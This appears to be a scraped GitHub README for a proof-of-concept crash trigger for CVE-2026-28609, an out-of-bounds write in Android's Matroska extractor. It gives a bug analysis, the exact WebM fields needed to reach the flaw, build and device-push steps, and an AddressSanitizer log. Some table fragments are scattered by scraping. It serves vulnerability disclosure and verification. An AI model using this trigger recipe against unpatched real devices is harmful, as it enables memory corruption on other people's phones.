
Proof-of-concept and instrumented reproduction harness for CVE-2026-28609, an out-of-bounds write in Android's MatroskaExtractor reachable via a crafted WebM file with a big-endian PCM audio track.
Proof-of-concept, instrumented reproduction harness, and technical write-up for CVE-2026-28609, an out-of-bounds write in Android's MatroskaExtractor reachable via a crafted WebM file with a big-endian PCM audio track.
frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cppMatroskaSource::read() in Android's MatroskaExtractor contains a
PCM big-endian byte-swap loop that casts a frame data pointer to
uint16_t * before adding frame->range_offset(), a byte offset.
Because C pointer arithmetic on a uint16_t * scales the offset by
sizeof(uint16_t) = 2, the resulting pointer is 2 * range_offset
bytes past the start of the buffer, not range_offset bytes.
When range_offset > 0, the loop reads and writes one or more bytes
past the end of the frame's MediaBuffer. On a device without ASan
the over-read succeeds silently and the over-write corrupts the byte
immediately following the buffer.
The vulnerable line:
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
dstData[i] = ntohs(srcData[i]);
}
The upstream fix casts the pointer to uint8_t * before applying
the offset:
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
data[i] = ntohs(data[i]);
}
A working, reproducible trigger for CVE-2026-28609, verified under AddressSanitizer on a real Android 14 device. The repository includes:
range_offset.dlopen,
invokes GETEXTRACTORDEF, and reads frames from the file.The result, on a vulnerable device:
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
#0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region
The vulnerable branch requires all of the following to be true:
| Condition | Source |
|---|---|
| Track is PCM |
The first three are satisfied by declaring the track with codec ID
A_PCM/INT/BIG and bit depth 16. The fourth is the interesting one.
range_offset is set to a non-zero value only in
MatroskaSource::setWebmBlockCryptoInfo(), which is called from
readBlock() under the condition:
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
err = setWebmBlockCryptoInfo(mbuf);
}
Therefore the trigger file must satisfy:
mIsWebm — the EBML DocType element must be "webm", not
"matroska".mEncrypted — the track must declare ContentEncodings with
ContentEncodingType = 1 (Encryption) and a ContentEncKeyID.0x1) is 0, indicating that the frame
is unencrypted but content-encoded. This takes the else branch in
setWebmBlockCryptoInfo, which calls set_range(1, len - 1).After the strip, range_offset = 1 for every frame. The vulnerable
branch then computes (uint16_t *)data + 1, which advances 2 bytes,
and the loop reads/writes bytes [2, 2 + range_length) — one byte
past the end of the 65-byte allocation (64-byte frame + 1-byte
signal).
+---------+------------------------------------+
| 0x00 | 64 bytes of frame data (0xAA...) |
+---------+------------------------------------+
signal PCM payload
The signal byte 0x00 is stripped by set_range(1, 64), leaving a
64-byte frame inside a 65-byte allocation. The vulnerable pointer
arithmetic then writes at byte offset 2 through 65.
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│ └── generator.py WebM generator + verifier
│
├── harness/
│ └── harness_c_abi.cpp dlopen-based trigger harness
│
└── scripts/
├── build.conf API level, sanitizer, RTTI flags
├── include_dirs.conf.sample Include roots template
├── build_foundation.sh Build the foundation archive
├── build_plugin.sh Build the extractor plugin
├── build_harness.sh Build the harness
└── run.sh End-to-end build + push + run
Upstream dependencies, cloned by the user before building:
av/ frameworks/av (AOSP)
libwebm/ external/libwebm (mkvparser)
flac/ external/flac
aosp-includes/ system/core, system/logging, system/libbase,
frameworks/native — header trees only
aosp-includes/libs/ libstagefright_foundation.so, libmedia.so,
libutils.so, libbinder.so, libcutils.so,
libbase.so, libmediandk.so, libstagefright_flacdec.so
— pulled from the target device
bash, python3, make$ANDROID_NDK_HOMEadb on PATH (Linux, or adb.exe from WSL)mkdir -p deps && cd deps
# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
https://android.googlesource.com/platform/frameworks/av av
# libwebm (mkvparser)
git clone --depth 1 \
https://android.googlesource.com/platform/external/libwebm libwebm
# libFLAC
git clone --depth 1 \
https://android.googlesource.com/platform/external/flac flac
# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
git clone --depth 1 \
"https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..
If your AOSP tree uses the modular extractor layout
(av/media/module/extractors/mkv/), no further adjustment is needed.
If it uses the older layout (av/media/libstagefright/matroska/),
see the build scripts for the MKV variable.
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
libmedia.so libutils.so libbinder.so libcutils.so \
libbase.so libmediandk.so; do
adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf # if provided separately
$EDITOR scripts/build.conf
Set ANDROID_API to match your target device (e.g., 34 for
Android 14).
./scripts/run.sh
The run.sh script executes four steps in order:
build_foundation.sh — compiles 28 source files from
av/media/module/foundation/ and av/media/module/metadatautils/
into plugin-asan/libstagefright_foundation_asan.a.build_plugin.sh — compiles MatroskaExtractor.cpp,
mkvparser.cc, mkvreader.cc and links them with the archive
into libmkvextractor_asan.so.build_harness.sh — compiles harness_c_abi with -shared-libsan.poc.mkv to
and runs the harness.The build scripts auto-discover missing include roots. When the
compiler reports fatal error: 'X' file not found, the script
searches the dependency trees, finds the parent directory of X, and
appends it to include_dirs.conf. This is why include_dirs.conf
grows during the first build. Once all headers are discovered, the
file stabilizes and subsequent builds are deterministic.
On a vulnerable device, the harness produces:
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor uuid[0..3]=abbedd92 version=1 api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
#0 0x71ecb0ec48 (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
#1 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#2 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#3 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
#0 0x727c507668 (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
#1 0x5861ac26c0 (/data/local/tmp/harness_c_abi+0x46c0)
#2 0x71ecb15e7c (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
#3 0x71ecb0b50c (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
#4 0x71ecb0d96c (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
#5 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#6 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#7 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
#8 0x5861ac15f4 (/data/local/tmp/harness_c_abi+0x35f4)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==14927==ABORTING
Aborted
Three numbers confirm the trigger:
WRITE of size 2 (or READ, when ASan catches the read half of
data[i] = ntohs(data[i]) first)65-byte region — the frame allocation is 64 data bytes plus the
1-byte encryption signal0 bytes after — the access lands on the first byte past the
allocationsetWebmBlockCryptoInfo (signal
byte 0x03), which is not exercised by this generator./data/local/tmp is
touched. The plugin is loaded only by the harness process.The generator embeds a verifier. Run it before pushing:
python3 exploit/generator.py poc.mkv
Expect:
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify] cause readBlock to strip the 1-byte signal via
[verify] set_range(1, len-1), setting range_offset=1
[verify] on every PCM frame. The uint16_t* cast in the
[verify] vulnerable branch then writes 2 bytes past the
[verify] end of the 64-byte frame buffer.
Every required field is checked: DocType, TrackType, CodecID,
BitDepth, Channels, ContentEncodingType, ContentEncodingScope,
ContentEncAlgo, and ContentEncKeyID. If any field is wrong, the
generator exits with FAIL and prints the specific mismatch.
| Date | Event |
|---|---|
| 2026-03-02 | CVE reserved by Google |
| 2026-09-08 | Public disclosure in Android Security Bulletin |
| 2026-09-09 | Fix merged into LineageOS lineage-20.0 (change 497992) |
This repository is published strictly for defensive security research and vulnerability verification. It is intended for:
Do not use this code on devices you do not own or have explicit written authorization to test. Running the harness on a device that is not yours, or using the generator to produce trigger files for distribution, may violate computer misuse laws in your jurisdiction and GitHub's Acceptable Use Policy.
The author does not condone the use of this research for malicious purposes. The trigger file produced by the generator is designed to crash a specific function under AddressSanitizer; it does not contain an executable payload, does not modify the system, and does not persist beyond the harness process.
No warranty is provided. The code is supplied as-is. The author accepts no liability for damage caused by misuse or by running the harness on production hardware.
If you are a vendor and believe this repository contains material that should be handled under coordinated disclosure, open an issue and the author will respond within 72 hours.
This project is released under the Apache-2.0 license. See LICENSE for
the full text.
Copyright © 2026 — the CVE-2026-28609 PoC contributors.
Rename this to include_dirs.conf after cloning. This is the seed. The build scripts extend it during the first run.
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.
$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include
scripts/build.conf.sampleRename to build.conf after cloning.
# build.conf — build configuration for CVE-2026-28609 PoC
# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34
# Enable AddressSanitizer.
ENABLE_ASAN=1
# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"
# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
mType == PCM |
| Big-endian | AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1 |
| 16-bit samples | AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16 |
Frame has non-zero range_offset | Set by set_range(offset, ...) |
/data/local/tmp| 2026-09 |
| This PoC developed and verified against a real device |